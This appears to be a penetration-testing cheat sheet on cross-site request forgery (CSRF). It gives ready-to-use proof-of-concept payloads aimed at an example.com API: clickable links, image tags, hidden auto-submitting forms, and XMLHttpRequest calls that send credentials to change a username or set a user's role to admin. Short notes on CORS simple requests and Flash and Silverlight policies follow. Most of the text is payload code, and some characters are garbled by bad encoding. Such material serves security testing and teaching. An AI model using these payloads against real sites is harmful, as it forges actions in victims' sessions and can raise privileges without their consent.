๐CSRF Cheat Sheet


Proof-of-Concept Attacks
HTML GET โ Requiring User Interaction for Proof-of-Concept
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>-----------------------------------------------------------------------------
HTML GET (No User Interaction)
<img src="http://www.example.com/api/setusername?username=CSRFd">-----------------------------------------------------------------------------
HTML POST โ Requiring User Interaction for Proof-of-Concept
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>-----------------------------------------------------------------------------
HTML POST (AutoSubmit โ No User Interaction)
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>-----------------------------------------------------------------------------
JSON GET โ Simple Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>-----------------------------------------------------------------------------
JSON POST โ Simple Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>-----------------------------------------------------------------------------
JSON POST โ Complex Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>-----------------------------------------------------------------------------
A couple things worth noting
XMLHttpRequest
Itโs important to note that you do not need to be able to read the response to execute CSRF (this is always the case with basic HTML CSRF). CORS restrictions may mislead people into thinking it is not vulnerable, when it actually is vulnerable to simple requests.
An XMLHTTPRequest is deemed โsimpleโ if it meets certain conditions about the headers that are set. Specifically, it must use GET, HEAD, or POST and the content type can only be set to application/x-www-form-urlencoded, multipart/form-data, or text/plain. The other headers that can be set while keeping the request simple are Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, and Pragma. If it is not deemed simple, it will be pre-flighted with an OPTIONS request to see if the current domain is allowed. By default, XMLHttpRequest will not send credentials, and this must be enabled by setting .withCredentials to true;
Flash
Previously, Flash could be used to set custom headers. This only works with old versions of Flash, and used to be exploitable using CSRF-Request-Builder. Today, you would need the site to use crossdomain.xml that allows a domain you can forge requests from.
Siverlight
Today, you would need the site to use a clientaccesspolicy.xml or crossdomain.xml that allows a domain you can forge requests from.
Last updated